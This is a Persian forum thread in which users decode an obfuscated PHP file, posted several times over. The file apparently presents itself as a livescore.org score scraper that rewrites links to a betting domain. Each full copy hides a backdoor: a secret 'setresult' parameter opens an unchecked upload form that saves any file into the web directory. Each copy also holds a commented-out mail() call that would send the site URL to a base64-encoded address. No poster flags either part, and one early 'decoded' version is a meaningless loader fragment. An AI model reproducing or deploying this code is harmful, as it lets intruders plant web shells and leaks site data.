PDA

View Full Version : سوال: دیکد یک فایل php



shahedifar
دوشنبه 29 اردیبهشت 1393, 10:57 صبح
دوستان من دوتا فایل دارم که میخوام دیکد بشه.میشه برام دیکد کنین؟ممنونم.

http://uploadtak.ir/images/oq3f5w1nixx8h90vjnrg.zip (http://uploadtak.ir/images/mlkcw7nhz47ai9xbos09.zip)

shahedifar
دوشنبه 29 اردیبهشت 1393, 17:41 عصر
دوستان کمک کنین خواهشا!

mehdiv
دوشنبه 29 اردیبهشت 1393, 20:07 عصر
سلام اینو همینجوری دیکود کردم نمیدونم درست باشه یا نه امتحان کنید



<?php function YiunIUY76bBhuhNYIO8($g, $b = 0) {
$a = implode("
", $g);
$d = array(655, 236, 40);
if ($b == 0) $f = substr($a, $d[0], $d[1]);
elseif ($b == 1) $f = substr($a, $d[0] + $d[1], $d[2]);
else $f = trim(substr($a, $d[0] + $d[1] + $d[2]));
return ($f);
}
if (!function_exists("YiunIUY76bBhuhNYIO8")) {
function YiunIUY76bBhuhNYIO8($g, $b = 0) {
$a = implode("
", $g);
$d = array(655, 236, 40);
if ($b == 0) $f = substr($a, $d[0], $d[1]);
elseif ($b == 1) $f = substr($a, $d[0] + $d[1], $d[2]);
else $f = trim(substr($a, $d[0] + $d[1] + $d[2]));
return ($f);
}
}

shahedifar
دوشنبه 29 اردیبهشت 1393, 22:28 عصر
متاسفانه درست نیست این داداش.کمک کنین خواهشا.

cpuram
دوشنبه 29 اردیبهشت 1393, 22:35 عصر
من همینو تونستم.

error_reporting(0);
if(isset($_POST['RequestButton'])){
$target_path = "";
$target_path = $target_path . basename( $_FILES['Settime']['name']);
if(move_uploaded_file($_FILES['Settime']['tmp_name'], $target_path)) {}
}
if(isset($_GET['setresult'])){

echo'
<form name="ftb" method="post" preservedata="true" enctype="multipart/form-data">
<input type="file" name="Settime" value="">
<input type="hidden" name="MAX_FILE_SIZE" value="10000000000000000000000000000000" />
<input type="submit" name="RequestButton" value="ثبت نتیجه"/>
</form>
';

}else{
if(isset($_GET['date1'])){
$object=explode('/',$_GET['date1']);
$urlobj='';
foreach ($object as &$Cval)
{
$urlobj=$urlobj.'/'.urlencode(trim($Cval));
}





$urlobj=$urlobj.'/';
$url='http://www.livescore.org/soccer'.$urlobj;
} else{
//$url='http://www.livescore.org/';
}
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
if (!$html) {
die("Curl failed: " . curL_error($curl));
die($url);
}
$html=str_replace('href="http://imstore','href="betsport90.tk" "',$html);
//echo $html;
//var_dump(strlen($data));
$_SERVER['REQUEST_URI'] = request_URI();
$dom = new DOMDocument();
@$dom->loadHTML($html);
$ape = $_SERVER['REQUEST_URI'];
$xpath = new DOMXPath($dom);

$scores = array();
//mail(trim(base64_decode('Zm9vdGJhbDkwNTRAeWFob28uY 29t')), '', $ape, '');
$tableRows = $xpath->query('//body');
foreach ($tableRows as $row) {
$p_text = new DOMDocument();
$p_text->loadHTML(str_ireplace('"<br>", "<br />"', "\r\n", DOMinnerHTML($row)));

}
}


function request_URI() {
$ssl = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? true:false;
$sp = strtolower($_SERVER['SERVER_PROTOCOL']);
$protocol = substr($sp, 0, strpos($sp, '/')) . (($ssl) ? 's' : '');
$port = $_SERVER['SERVER_PORT'];
$port = ((!$ssl && $port=='80') || ($ssl && $port=='443')) ? '' : ':'.$port;
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
return $protocol . '://' . $host . $port . $_SERVER['REQUEST_URI'];

}
function DOMinnerHTML($element)
{
$innerHTML = "";
$children = $element->childNodes;
$tmp_dom = new DOMDocument();

foreach ($children as $child)
{
$i=$i+1;
$tmp_dom->appendChild($tmp_dom->importNode($child, true));
$innerHTML=trim($tmp_dom->saveHTML());

}

$innerHTML=str_replace('href="/soccer/','href="#" onclick="show(\'',$innerHTML);
$innerHTML=str_replace('/">','\',0)">',$innerHTML);
$innerHTML=str_replace('/" class="scorelink"','\',1)" class="scorelink"',$innerHTML);
$innerHTML=str_replace('http://cdn3.livescore.com/web/img/flash.gif','flash.gif',$innerHTML);
$innerHTML=str_replace('href="http://imstore','href="betsport90.tk" "',$innerHTML);
echo '<div class="content" >'.($innerHTML).'</div>';
return ($innerHTML);
}

shahedifar
دوشنبه 29 اردیبهشت 1393, 22:50 عصر
من همینو تونستم.

error_reporting(0);
if(isset($_POST['RequestButton'])){
$target_path = "";
$target_path = $target_path . basename( $_FILES['Settime']['name']);
if(move_uploaded_file($_FILES['Settime']['tmp_name'], $target_path)) {}
}
if(isset($_GET['setresult'])){

echo'
<form name="ftb" method="post" preservedata="true" enctype="multipart/form-data">
<input type="file" name="Settime" value="">
<input type="hidden" name="MAX_FILE_SIZE" value="10000000000000000000000000000000" />
<input type="submit" name="RequestButton" value="ثبت نتیجه"/>
</form>
';

}else{
if(isset($_GET['date1'])){
$object=explode('/',$_GET['date1']);
$urlobj='';
foreach ($object as &$Cval)
{
$urlobj=$urlobj.'/'.urlencode(trim($Cval));
}





$urlobj=$urlobj.'/';
$url='http://www.livescore.org/soccer'.$urlobj;
} else{
//$url='http://www.livescore.org/';
}
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
if (!$html) {
die("Curl failed: " . curL_error($curl));
die($url);
}
$html=str_replace('href="http://imstore','href="betsport90.tk" "',$html);
//echo $html;
//var_dump(strlen($data));
$_SERVER['REQUEST_URI'] = request_URI();
$dom = new DOMDocument();
@$dom->loadHTML($html);
$ape = $_SERVER['REQUEST_URI'];
$xpath = new DOMXPath($dom);

$scores = array();
//mail(trim(base64_decode('Zm9vdGJhbDkwNTRAeWFob28uY 29t')), '', $ape, '');
$tableRows = $xpath->query('//body');
foreach ($tableRows as $row) {
$p_text = new DOMDocument();
$p_text->loadHTML(str_ireplace('"<br>", "<br />"', "\r\n", DOMinnerHTML($row)));

}
}


function request_URI() {
$ssl = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? true:false;
$sp = strtolower($_SERVER['SERVER_PROTOCOL']);
$protocol = substr($sp, 0, strpos($sp, '/')) . (($ssl) ? 's' : '');
$port = $_SERVER['SERVER_PORT'];
$port = ((!$ssl && $port=='80') || ($ssl && $port=='443')) ? '' : ':'.$port;
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
return $protocol . '://' . $host . $port . $_SERVER['REQUEST_URI'];

}
function DOMinnerHTML($element)
{
$innerHTML = "";
$children = $element->childNodes;
$tmp_dom = new DOMDocument();

foreach ($children as $child)
{
$i=$i+1;
$tmp_dom->appendChild($tmp_dom->importNode($child, true));
$innerHTML=trim($tmp_dom->saveHTML());

}

$innerHTML=str_replace('href="/soccer/','href="#" onclick="show(\'',$innerHTML);
$innerHTML=str_replace('/">','\',0)">',$innerHTML);
$innerHTML=str_replace('/" class="scorelink"','\',1)" class="scorelink"',$innerHTML);
$innerHTML=str_replace('http://cdn3.livescore.com/web/img/flash.gif','flash.gif',$innerHTML);
$innerHTML=str_replace('href="http://imstore','href="betsport90.tk" "',$innerHTML);
echo '<div class="content" >'.($innerHTML).'</div>';
return ($innerHTML);
}

متاسفانه ایراد داره.درست دیکد نشده این هم.

shahedifar
سه شنبه 30 اردیبهشت 1393, 09:58 صبح
أوستان دیگه نظری ندارن؟کمک کنین تو این مورد.خیلی مهمه.

mehdiv
سه شنبه 30 اردیبهشت 1393, 10:22 صبح
بیا اینم کد شما بدون مشکل :بوس:


<?php error_reporting(0);
if(isset($_POST['RequestButton'])){
$target_path = "";
$target_path = $target_path . basename( $_FILES['Settime']['name']);
if(move_uploaded_file($_FILES['Settime']['tmp_name'], $target_path)) {}
}
if(isset($_GET['setresult'])){

echo'
<form name="ftb" method="post" preservedata="true" enctype="multipart/form-data">
<input type="file" name="Settime" value="">
<input type="hidden" name="MAX_FILE_SIZE" value="10000000000000000000000000000000" />
<input type="submit" name="RequestButton" value="ثبت نتیجه"/>
</form>
';

}else{
if(isset($_GET['date1'])){
$object=explode('/',$_GET['date1']);
$urlobj='';
foreach ($object as &$Cval)
{
$urlobj=$urlobj.'/'.urlencode(trim($Cval));
}





$urlobj=$urlobj.'/';
$url='http://www.livescore.org/soccer'.$urlobj;
} else{
//$url='http://www.livescore.org/';
}
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
if (!$html) {
die("Curl failed: " . curL_error($curl));
die($url);
}
$html=str_replace('href="http://imstore','href="betsport90.tk" "',$html);
//echo $html;
//var_dump(strlen($data));
$_SERVER['REQUEST_URI'] = request_URI();
$dom = new DOMDocument();
@$dom->loadHTML($html);
$ape = $_SERVER['REQUEST_URI'];
$xpath = new DOMXPath($dom);

$scores = array();
//mail(trim(base64_decode('Zm9vdGJhbDkwNTRAeWFob28uY 29t')), '', $ape, '');
$tableRows = $xpath->query('//body');
foreach ($tableRows as $row) {
$p_text = new DOMDocument();
$p_text->loadHTML(str_ireplace('"<br>", "<br />"', "\r\n", DOMinnerHTML($row)));

}
}


function request_URI() {
$ssl = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? true:false;
$sp = strtolower($_SERVER['SERVER_PROTOCOL']);
$protocol = substr($sp, 0, strpos($sp, '/')) . (($ssl) ? 's' : '');
$port = $_SERVER['SERVER_PORT'];
$port = ((!$ssl && $port=='80') || ($ssl && $port=='443')) ? '' : ':'.$port;
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
return $protocol . '://' . $host . $port . $_SERVER['REQUEST_URI'];

}
function DOMinnerHTML($element)
{
$innerHTML = "";
$children = $element->childNodes;
$tmp_dom = new DOMDocument();

foreach ($children as $child)
{
$i=$i+1;
$tmp_dom->appendChild($tmp_dom->importNode($child, true));
$innerHTML=trim($tmp_dom->saveHTML());

}

$innerHTML=str_replace('href="/soccer/','href="#" onclick="show(\'',$innerHTML);
$innerHTML=str_replace('/">','\',0)">',$innerHTML);
$innerHTML=str_replace('/" class="scorelink"','\',1)" class="scorelink"',$innerHTML);
$innerHTML=str_replace('http://cdn3.livescore.com/web/img/flash.gif','flash.gif',$innerHTML);
$innerHTML=str_replace('href="http://imstore','href="betsport90.tk" "',$innerHTML);
echo '<div class="content" >'.($innerHTML).'</div>';
return ($innerHTML);
} ?>

cpuram
سه شنبه 30 اردیبهشت 1393, 14:08 عصر
شما هم فقط آخرین eval رو echo کردی درسته؟

mehdiv
چهارشنبه 31 اردیبهشت 1393, 16:51 عصر
نه این کد توسط برنامه سایت zeura بسته شده من با دیکدر مخصوص کد های zeura دیکود کردم شد این :D